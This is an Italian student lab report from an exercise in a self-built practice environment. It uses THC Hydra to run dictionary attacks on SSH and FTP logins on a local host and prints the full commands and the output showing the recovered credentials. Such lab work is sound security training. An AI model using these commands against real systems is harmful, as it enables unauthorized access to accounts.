

Report Authentication Cracking con Hydra e Configurazione Servizi

Studente: Nicola Cassandra

Data: 16/01/2026

Target IP: 192.168.1.165

Tool Utilizzati: Kali Linux, THC Hydra.

Introduzione Teorica

THC Hydra è uno strumento di cracking di password online, estremamente rapido e potente, utilizzato da professionisti della sicurezza per il *penetration testing*. La sua efficacia deriva dalla capacità di eseguire attacchi in modo *parallelo* su numerosi protocolli e servizi (come FTP, SSH, database e interfacce web), accelerando notevolmente il processo. Hydra supporta principalmente due metodologie: l'**Attacco a Dizionario** (più veloce, basato su liste di password comuni) e l'**Attacco Brute-Force** (sistematico ma più lento). Nel contesto etico, è impiegato per simulare attacchi, identificare credenziali deboli e correggere vulnerabilità, fungendo da strumento essenziale per l'auditing della sicurezza delle password.

Configurazione e Cracking del servizio SSH

In questa prima fase, abbiamo configurato un ambiente vulnerabile controllato per testare le capacità di Hydra sul protocollo SSH.

Configurazione dell'Ambiente

Per preparare l'ambiente, è stato innanzitutto creato un nuovo utente sulla macchina Kali. Questo utente, chiamato `test_user`, è stato configurato con la password `testpass` utilizzando il comando `adduser`. Successivamente, per consentire l'accesso remoto e i tentativi di cracking, il servizio SSH è stato attivato tramite l'esecuzione del comando `sudo service ssh start`.

Attacco con Hydra (SSH)

Abbiamo configurato Hydra per eseguire un attacco a dizionario e abbiamo utilizzato le flag maiuscole `-L` e `-P` per indicare l'uso di liste di utenti e password.

Creazione File Testo Passwords

```
(kali@kali)-[~]  
$ cat /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt | grep test > xato-passwords.txt
```

Verifica Presenza Oggetto

```
(kali@kali)-[~]  
$ cat xato-passwords.txt | grep testpass  
testpass  
testpass24  
testpass01  
mytestpass
```

Creazione File Testo Usernames e Verifica Presenza Oggetto

```
(kali@kali)-[~]  
$ cat /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt | grep test > xato-usernames.txt  
  
(kali@kali)-[~]  
$ cat xato-usernames.txt | grep test_user  
test_user  
test_user_dmt  
test_user1
```

Parametri dell'attacco:

- **Target:** 192.168.1.165
- **Wordlists:** `xato-usernames.txt` e `xato-passwords.txt` (versioni ridotte delle wordlist originali `seclists` per ottimizzare i tempi).
- **Thread:** `-t 4` (numero di task paralleli).

Comando eseguito:

```
(kali@kali)-[~]  
$ hydra -L xato-usernames.txt -P xato-passwords.txt 192.168.1.165 -t 2 -vV -f ssh  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 08:56:06  
[DATA] max 2 tasks per 1 server, overall 2 tasks, 100 login tries (l:10/p:10), ~50 tries per task  
[DATA] attacking ssh://192.168.1.165:22/  
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done  
[INFO] Testing if password authentication is supported by ssh://testing@192.168.1.165:22  
[INFO] Successful, password authentication is supported by ssh://192.168.1.165:22
```

Risultato Finale SSH:

```
[ATTEMPT] target 192.168.1.165 - login "test_user" - pass "testpass" - 98 of 100 [child 0] (0/0)  
[22][ssh] host: 192.168.1.165 login: test_user password: testpass  
[STATUS] attack finished for 192.168.1.165 (valid pair found)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 08:58:44
```

Installazione e Configurazione vsftpd

È stato scelto il servizio `vsftpd` (Very Secure FTP Daemon) come consigliato, una volta installato e avviato il servizio si procede con l'attacco:

Comando eseguito:

```
(kali@kali)-[~]  
$ hydra -L xato-usernames.txt -P xato-passwords.txt 192.168.1.165 -t 2 -vV -f ftp  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).
```

Risultato Finale:

```
[21][ftp] host: 192.168.1.165 login: test_user password: testpass  
[STATUS] attack finished for 192.168.1.165 (valid pair found)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 09:13:22
```

4. Conclusioni e Osservazioni

Possiamo notare come l'esercizio abbia dimostrato l'efficacia degli attacchi a dizionario contro servizi configurati con password deboli.

- **Tempo di esecuzione:** L'utilizzo di wordlist ridotte (xato-usernames.txt e xato-passwords.txt) è stato fondamentale. L'uso di wordlist complete (come rockyou o seclists integrali) richiederebbe molto tempo senza una limitazione mirata.
- **Output:** Hydra ha identificato correttamente la coppia login: `test_user` e password: `testpass` sia per SSH che per FTP, confermando la vulnerabilità dell'account.